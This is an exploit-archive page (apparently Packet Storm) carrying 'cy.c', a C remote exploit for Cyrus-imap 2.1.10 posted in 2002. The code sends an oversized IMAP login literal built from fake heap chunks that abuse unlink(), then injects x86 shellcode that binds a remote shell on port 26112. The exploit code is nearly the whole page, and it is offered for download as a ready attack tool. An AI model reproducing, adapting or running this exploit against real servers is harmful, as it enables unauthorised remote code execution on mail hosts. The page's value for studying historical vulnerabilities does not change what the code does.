exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

cy.c

cy.c
Posted Dec 24, 2002
Authored by Irian

Cyrus-imap v2.1.10 remote exploit. Tested against Slackware linux v8.0 with glibc-2.2.3 and kernel 2.4.19. Localhost IP is hard coded.

tags | exploit, remote, kernel, imap
systems | linux, slackware
SHA-256 | d60a10d34c05222525ab5cf814c721d41fde8727027687f8348116638be581ea

cy.c

Change Mirror Download
/*  cyrus-imap  exploit . gives uid cyrus           */
/* tested on slack linux 8.0: cyrus-imap 2.1.10 , glibc-2.2.3 ,kernel 2.4.19 */
/* irian@antisocial.com */
/* */
/* please don't distro . i don't want this crap on any website. */
/* this is PoC state. it will get better. */

#include <stdio.h>
#include <netdb.h>
#include <stdlib.h>

char shellcode[]=
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\x52\x50\xcd\x80\x43"
"\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1\xb3\x04"
"\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52"
"\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

struct sockaddr_in sck;
struct hostent *hp;
long inet;
int sock;
char *target[128];

int openconn(char *target,int port){

sock = socket (PF_INET, SOCK_STREAM, 0);

if (!sock)
{
perror ("socket()");
return 0 ;
}

inet = inet_addr (target);
if (inet == -1)
{
if (hp = gethostbyname (target))
memcpy (&inet, hp->h_addr, 4);
else
inet = -1;
if (inet == -1)
{
fprintf (stderr, "can't resolve %s \n", target);
return 0 ;
}
}
sck.sin_family = PF_INET;
sck.sin_port = htons (port);
sck.sin_addr.s_addr = inet;

if (connect (sock, (struct sockaddr *) &sck, sizeof (sck)) < 0)
{
perror ("connect() ");
return 0;
}
return 1 ;

}

main(int argc,char *argv []){

int port=143;
char sploit[512];
char instr[]="x login {4294967295}\r\n"; //2^32
char readbuf[512];

memset(sploit,0,sizeof(sploit));
memset(readbuf,0,sizeof(readbuf));

strcpy(sploit,instr);
strcat(sploit,"\x04\xf4\x11\x08\x04\xf4\x11\x08"); // fake chunks
strcat(sploit,"\xf0\xff\xff\xff\xfc\xff\xff\xff");
strcat(sploit,"\x04\xf5\x11\x08\x04\xf5\x11\x08");
strcat(sploit,"\xf0\xff\xff\xff\xfc\xff\xff\xff");
strcat(sploit,"\x50\xb9\x10\x08\x48\xf6\x11\x08"); // feed it to unlink() macro
//^retloc-12 ^shellcode addy
strcat(sploit,"\xeb\x0c\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");
strcat(sploit,shellcode);
fprintf(stderr,"%d bytes\n",strlen(sploit));
if (!openconn("127.0.0.1",port)) exit(-1);
fprintf(stderr,"connected. press a key to send the stuff...\n");
getchar();
write(sock,sploit,strlen(sploit));
read(sock,readbuf,511);
fprintf(stderr,"%s",readbuf);
close(sock);
fprintf(stderr,"exploit done. now connect to port 26112\n");
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close